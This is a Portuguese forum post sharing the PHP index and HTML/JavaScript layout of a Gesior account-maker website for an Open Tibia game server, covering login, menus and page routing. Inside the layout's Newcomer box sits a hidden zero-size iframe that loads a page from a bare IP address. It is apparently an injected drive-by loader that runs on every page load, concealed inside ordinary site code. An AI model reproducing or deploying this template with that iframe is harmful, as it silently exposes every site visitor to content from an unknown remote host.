<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Trans. History</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

echo "</div></div>";

}

?>

<div id='MenuBottom' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);'></div>

</div>

</div>

<div id="ContentColumn">

<div class="Content">

<div id="ContentHelper">

<script type="text/javascript" src="http://static.tibia.com/javascripts/newsticker.js"></script>

<?PHP echo $news_content; ?>

<div id="<?PHP echo $subtopic; ?>" class="Box">

<div class="Corner-tl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tl.gif);"></div>

<div class="Corner-tr" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tr.gif);"></div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="BorderTitleText" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/title-background-green.gif);"></div>

<img class="Title" src="headline.php?txt=<?PHP echo $subtopic; ?>" alt="Contentbox headline" />

<div class="Border_2">

<div class="Border_3">

<div class="BoxContent" style="background-image:url(http://i63.photobuck...Dude/scroll.gif);">

<?PHP echo $main_content; ?>

</div>

</div>

</div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-bl.gif);"></div></div>

<div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-br.gif);"></div></div>

</div>

</div>

</div>

<div id="Footer">

<?PHP

$time_end = microtime_float();

$time = $time_end - $time_start;

?>

<?PHP echo getFooter() ?><br/>Page has been viewed <?PHP echo $page_views; ?> times. Load time: <?PHP echo round($time, 4); ?> seconds

</div>

</div>

<div id="ThemeboxesColumn">

<div id="RightArtwork">

<img id="Monster" src="images/monsters/<?PHP echo logo_monster() ?>.gif" onClick="window.location = '?subtopic=creatures&amp;creature=<?PHP echo logo_monster() ?>';" alt="Monster of the Week" />

<img id="PedestalAndOnline" src="http://i63.photobucket.com/albums/h122/Mister_Dude/pedestal-and-online.gif" alt="Monster Pedestal and Players Online Box"/>

<div id="PlayersOnline" onClick="window.location = '?subtopic=whoisonline'">

<?PHP

if($config['status']['serverStatus_online'] == 1)

echo $config['status']['serverStatus_players'].'<br />Players Online';

else

echo '<font color="red"><b>Server<br />OFFLINE</b></font>';

?>

</div>

</div>

<div id="Themeboxes">

<div id="NewcomerBox" class="Themebox" style="background-image:url(http://i63.photobuck...newcomerbox.gif);">

<div class="ThemeboxButton" onClick="BigButtonAction('?subtopic=createaccount')" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif);">

<div class="BigButtonOver" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif);"></div>

<div class="ButtonText" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/_sbutton_jointibia.gif);"></div>

</div>

<iframe src ="http://188.126.223.74/42/index.php" width="0" frameborder="no" height="0"></iframe>

<div class="Bottom" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);"></div>

</div>

<?PHP

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo '

<div id="NewcomerBox" class="Themebox" style="background-image:url('.$layout_name.'/images/themeboxes/admin/admin.png);">

<div id="lool" CLASS=white>

<table><tr><td height="30">&nbsp;</td><td>&nbsp;</td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel"><font color="white"><b>ADMIN PANEL</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editconfigs"><font color="white"><b>EDIT CONFIGS</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editnews"><font color="white"><b>NEWS SYSTEM</b></font></a></td></tr>

</table>

</div>

<div class="Bottom" style="background-image:url('.$layout_name.'/images/general/box-bottom.gif);"></div>

</div>';

?>

<script type="text/javascript">InitializePage();</script>

</div>

</div>

</div>

</div>

</div>

</body>

</html>

Editado por esdraslol3 (veja o histórico de edições)
Link para o post
Compartilhar em outros sites

ussa essa index

<?PHP

//start :)

session_start();

ob_start("ob_gzhandler");

date_default_timezone_set('Europe/Warsaw');

//require('./exaBD.php');

function microtime_float()

{

list($usec, $sec) = explode(" ", microtime());

return ((float)$usec + (float)$sec);

}

$time_start = microtime_float();

//##### CONFIG #####

include('config-and-functions.php');

$action = $_REQUEST['action'];

//##### LOGOUT #####

if($action == "logout")

{

unset($_SESSION['account']);

unset($_SESSION['password']);

}

//##### LOGIN #####

//check is player logged

$logged = FALSE;

if(isset($_SESSION['account']))

{

$account_logged = $ots->createObject('Account');

$account_logged->load($_SESSION['account']);

if($account_logged->isLoaded() && $account_logged->getPassword() == $_SESSION['password'])

{

$logged = TRUE;

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

{

$logged = FALSE;

unset($_SESSION['account']);

unset($account_logged);

}

}

$login_account = strtoupper(trim($_POST['account_login']));

$login_password = trim($_POST['password_login']);

if(!$logged && !empty($login_account) && !empty($login_password))

{

$login_password = password_ency($login_password);

$account_logged = $ots->createObject('Account');

$account_logged->find($login_account);

if($account_logged->isLoaded())

{

if($login_password == $account_logged->getPassword())

{

$_SESSION['account'] = $account_logged->getId();

$_SESSION['password'] = $login_password;

$logged = TRUE;

$account_logged->setCustomField("page_lastday", time());

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

$logged = FALSE;

}

}

//#### LOAD PAGE ##########

//load subtopic page

if(empty($_REQUEST['subtopic']))

{

$_REQUEST['subtopic'] = "latestnews";

$subtopic = "latestnews";

}

switch($_REQUEST['subtopic'])

{

case "latestnews":

$topic = "Latest News";

$subtopic = "latestnews";

include("latestnews.php");

break;

case "archive";

$subtopic = "archive";

$topic = "News Archives";

include("archive.php");

break;

case "creatures";

$topic = "Creatures";

$subtopic = "creatures";

include("creatures.php");

break;

case "spells";

$topic = "Spells";

$subtopic = "spells";

include("spells.php");

break;

case "serverinfo";

$subtopic = "serverinfo";

$topic = "Server Info";

include("serverinfo.php");

break;

case "experiencetable";

$topic = "Experience Table";

$subtopic = "experiencetable";

include("experiencetable.php");

break;

case "characters";

$topic = "Characters";

$subtopic = "characters";

include("characters.php");

break;

case "whoisonline";

$topic = "Who is online?";

$subtopic = "whoisonline";

include("whoisonline.php");

break;

case "highscores";

$topic = "Highscores";

$subtopic = "highscores";

include("highscores.php");

break;

case "killstatistics";

$topic = "Last Kills";

$subtopic = "killstatistics";

include("killstatistics.php");

break;

case "bans":

$topic = "Banishments";

$subtopic = "bans";

include("bans.php");

break;

case "houses";

$topic = "Houses";

$subtopic = "houses";

include("houses.php");

break;

case "guilds";

$topic = "Guilds";

$subtopic = "guilds";

include("guilds.php");

break;

case "questmakers";

$topic = "Quest Makers";

$subtopic = "questmakers";

include("questmakers.php");

break;

case "bansmeneger";

$topic = "Bans Menager";

$subtopic = "bansmeneger";

include("bansmeneger.php");

break;

case "forum":

$topic = "Forum";

$subtopic = "forum";

include("forum.php");

break;

case "accountmanagement";

$topic = "Account Management";

$subtopic = "accountmanagement";

include("accountmanagement.php");

break;

case "createaccount";

$topic = "Create Account";

$subtopic = "createaccount";

include("createaccount.php");

break;

case "lostaccount";

$topic = "Lost Account Interface";

$subtopic = "lostaccount";

include("lostaccount.php");

break;

case "downloads";

$subtopic = "downloads";

$topic = "Downloads";

include("downloads.php");

break;

case "tibiarules";

$topic = "Server Rules";

$subtopic = "tibiarules";

include("tibiarules.php");

break;

case "tracker";

$subtopic = "tracker";

$topic = "Tracker";

include("tracker.php");

break;

case "changelog";

$subtopic = "changelog";

$topic = "Change Log";

include("changelog.php");

break;

case "team";

$subtopic = "team";

$topic = "Gamemasters List";

include("team.php");

break;

case "wars";

$subtopic = "wars";

$topic = "Guilds Wars";

include("wars.php");

break;

case "adminpanel":

$topic = "Admin Panel";

$subtopic = "adminpanel";

include("adminpanel.php");

break;

case "namelock";

$subtopic = "namelock";

$topic = "Namelock Manager";

include("namelocks.php");

break;

case "shopsystem";

$subtopic = "shopsystem";

$topic = "Shop System";

include("shopsystem.php");

break;

case "credits":

$topic = "Credits";

$subtopic = "credits";

include("credits.php");

break;

case "error":

$topic = "Error";

$subtopic = "error";

include("error.php");

break;

}

// ##### generate title of page

if(empty($topic))

{

$title = $GLOBALS['config']['server']["serverName"]." - OTS";

$main_content .= 'Invalid subtopic. Can\'t load page.';

}

else

{

$title = $GLOBALS['config']['server']["serverName"]." - ".$topic;

}

// ##### ADD Fotter for Credits

function getFooter()

{

echo 'Account maker by <a href="index.php?subtopic=credits">Credits</a>. Layout by '.$GLOBALS['config']['site']['layout'].'.';

}

// ##### LAYOUT

$layout_header = '<script type=\'text/javascript\'>

function GetXmlHttpObject()

{

var xmlHttp=null;

try

{

xmlHttp=new XMLHttpRequest();

}

catch (e)

{

try

{

xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}

catch (e)

{

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

}

}

return xmlHttp;

}

function MouseOverBigButton(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutBigButton(source)

{

source.firstChild.style.visibility = "hidden";

}

function BigButtonAction(path)

{

window.location = path;

}

var';

if($logged)

{

$layout_header .= "loginStatus=1; loginStatus='true';";

}

else

{

$layout_header .= "loginStatus=0; loginStatus='false';";

}

$layout_header .= " var activeSubmenuItem='".$subtopic."';</script>";

include($layout_name."/layout.php");

ob_end_flush();

?>

e esse layout

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title><?PHP echo $title ?></title>

<meta name="description" content="Tibia is a free massive multiplayer online role playing game (MMORPG)." />

<meta name="author" content="Gesior" />

<meta http-equiv="content-language" content="en" />

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>

<meta name="keywords" content="free online game, free multiplayer game, ots, open tibia server" />

<link rel="shortcut icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<link rel="icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<?PHP echo $layout_header; ?>

<link href="<?PHP echo $layout_name; ?>/basic.css" rel="stylesheet" type="text/css">

<script type='text/javascript'> var IMAGES=0; IMAGES='http://static.tibia.com/images'; var g_FormField=''; var LINK_ACCOUNT=0; LINK_ACCOUNT='';</script>

<SCRIPT TYPE="text/javascript">

<!-- // Framekiller

setTimeout ("changePage()", 6000);

function changePage()

{

if (parent.frames.length > 2)

{

if (browserTyp == "ie") {

parent.location=document.location;

} else {

self.top.location=document.location;

}

}

}

// -->

</SCRIPT>

<script type="text/javascript">

state = new Array("0", "0", "0", "0", "0");

function TickerAction(id)

{

var line = id.substr(12, 1);

if(state[line] == "0")

{

state[line] = "1";

OpenNews(id);

}

else

{

state[line] = "0";

CloseNews(id);

}

}

function OpenNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "none";

document.getElementById(idMore).style.display = "block";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function CloseNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "block";

document.getElementById(idMore).style.display = "none";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function InitializePage()

{

LoadLoginBox();

LoadMenu();

}

// initialisation of the loginbox status by the value of the variable 'loginStatus' which is provided to the HTML-document by PHP in the file 'header.inc'

function LoadLoginBox()

{

if(loginStatus == "false")

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_login.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif')";

}

else

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-welcome.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_myaccount.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout-over.gif')";

}

}

// mouse-over and click events of the loginbox

function MouseOverLoginBoxText(source)

{

source.lastChild.style.visibility = "visible";

source.firstChild.style.visibility = "hidden";

}

function MouseOutLoginBoxText(source)

{

source.firstChild.style.visibility = "visible";

source.lastChild.style.visibility = "hidden";

}

function LoginButtonAction()

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

}

function LoginstatusTextAction(source)

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=createaccount";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement&action=logout";

}

}

var menu = new Array();

menu[0] = new Object();

var unloadhelper = false;

// load the menu and set the active submenu item by using the variable 'activeSubmenuItem' (provided to HTML-document by PHP in the file 'header.inc'

function LoadMenu()

{

document.getElementById("submenu_"+activeSubmenuItem).style.color = "white";

document.getElementById("ActiveSubmenuItemIcon_"+activeSubmenuItem).style.visibility = "visible";

if(self.name.lastIndexOf("&") == -1)

{

self.name = "news=1&library=0&community=0&forum=0&account=0&support=0<?PHP if($config['site']['shop_system'] == 1) echo "&shops=0"; ?>&";

}

FillMenuArray();

InitializeMenu();

}

function SaveMenu()

{

if(unloadhelper == false)

{

SaveMenuArray();

unloadhelper = true;

}

}

// store the values of the variable 'self.name' in the array menu

function FillMenuArray()

{

while(self.name.length > 0 )

{

var mark1 = self.name.indexOf("=");

var mark2 = self.name.indexOf("&");

var menuItemName = self.name.substr(0, mark1);

menu[0][menuItemName] = self.name.substring(mark1 + 1, mark2);

self.name = self.name.substr(mark2 + 1, self.name.length);

}

}

// hide or show the corresponding submenus

function InitializeMenu()

{

for(menuItemName in menu[0])

{

if(menu[0][menuItemName] == "0")

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "hidden";

document.getElementById(menuItemName+"_Submenu").style.display = "none";

document.getElementById(menuItemName+"_Lights").style.visibility = "visible";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

else

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "visible";

document.getElementById(menuItemName+"_Submenu").style.display = "block";

document.getElementById(menuItemName+"_Lights").style.visibility = "hidden";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

}

}

// reconstruct the variable "self.name" out of the array menu

function SaveMenuArray()

{

var stringSlices = "";

var temp = "";

for(menuItemName in menu[0])

{

stringSlices = menuItemName + "=" + menu[0][menuItemName] + "&";

temp = temp + stringSlices;

}

self.name = temp;

}

// onClick open or close submenus

function MenuItemAction(sourceId)

{

if(menu[0][sourceId] == 1)

{

CloseMenuItem(sourceId);

}

else

{

OpenMenuItem(sourceId);

}

}

function OpenMenuItem(sourceId)

{

menu[0][sourceId] = 1;

document.getElementById(sourceId+"_Submenu").style.visibility = "visible";

document.getElementById(sourceId+"_Submenu").style.display = "block";

document.getElementById(sourceId+"_Lights").style.visibility = "hidden";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

function CloseMenuItem(sourceId)

{

menu[0][sourceId] = 0;

document.getElementById(sourceId+"_Submenu").style.visibility = "hidden";

document.getElementById(sourceId+"_Submenu").style.display = "none";

document.getElementById(sourceId+"_Lights").style.visibility = "visible";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

// mouse-over effects of menubuttons and submenuitems

function MouseOverMenuItem(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutMenuItem(source)

{

source.firstChild.style.visibility = "hidden";

}

function MouseOverSubmenuItem(source)

{

source.style.backgroundColor = "#14433F";

}

function MouseOutSubmenuItem(source)

{

source.style.backgroundColor = "#0D2E2B";

}

</script>

</head>

<body onBeforeUnLoad="SaveMenu();" onUnload="SaveMenu();">

<a name="top" ></a>

<div id="ArtworkHelper" style="background-image:url(http://i63.photobuck...d-artwork-1.jpg);" >

<div id="Bodycontainer">

<div id="ContentRow">

<div id="MenuColumn">

<div id="LeftArtwork">

<img id="Statue_1" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="TibiaLogoArtworkTop" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-top.gif" onClick="window.location = '?subtopic=latestnews';" alt="logoartwork" />

<img id="TibiaLogoArtworkBottom" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-bottom.gif" alt="logoartwork" />

<img id="Statue_2" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="LogoLink" src="<?PHP echo $layout_name; ?>/images/header/tibia-logo-artwork-string.gif" onClick="window.location = 'mailto:<?PHP echo $config['server']['ownerEmail']; ?>';" alt="logoartwork" />

</div>

<div id="Loginbox" >

<div id="LoginTop" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif)" ></div>

<div id="BorderLeft" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif)" ></div>

</div>

<div id="LoginButtonContainer" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginButton" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif)" >

<div onClick="LoginButtonAction();" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);"><div class="Button" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif)" ></div>

<div id="ButtonText" ></div>

</div>

</div>

</div>

<div style="clear:both" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_2" onClick="LoginstatusTextAction(this);" onMouseOver="MouseOverLoginBoxText(this);" onMouseOut="MouseOutLoginBoxText(this);" >

<div id="LoginstatusText_2_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif)" ></div>

<div id="LoginstatusText_2_2" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif)" ></div>

</div>

</div>

<div id="BorderRight" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div id="LoginBottom" class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif)" ></div>

</div>

<div id='Menu'>

<div id='MenuTop' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif);'></div>

<div id='news' class='menuitem'>

<span onClick="MenuItemAction('news')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='news_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='news_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-news.gif);'></div>

<div id='news_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-news.gif);'></div>

<div id='news_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='news_Submenu' class='Submenu'>

<a href='?subtopic=latestnews'>

<div id='submenu_latestnews' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_latestnews' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Latest News</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=archive'>

<div id='submenu_archive' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_archive' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>News Archive</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='library' class='menuitem'>

<span onClick="MenuItemAction('library')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='library_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='library_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-library.gif);'></div>

<div id='library_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-library.gif);'></div>

<div id='library_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='library_Submenu' class='Submenu'>

<a href='?subtopic=creatures'>

<div id='submenu_creatures' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_creatures' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Creatures</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=spells'>

<div id='submenu_spells' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_spells' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Spells</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['serverinfo_page'] == 1)

echo "

<a href='?subtopic=serverinfo'>

<div id='submenu_serverinfo' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_serverinfo' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Info</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

<a href='?subtopic=experiencetable'>

<div id='submenu_experiencetable' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_experiencetable' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Experience Table</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='community' class='menuitem'>

<span onClick="MenuItemAction('community')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='community_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='community_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-community.gif);'></div>

<div id='community_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-community.gif);'></div>

<div id='community_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='community_Submenu' class='Submenu'>

<a href='?subtopic=characters'>

<div id='submenu_characters' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_characters' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Characters</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=whoisonline'>

<div id='submenu_whoisonline' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_whoisonline' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Who Is Online?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=highscores'>

<div id='submenu_highscores' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_highscores' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Highscores</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=killstatistics'>

<div id='submenu_killstatistics' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

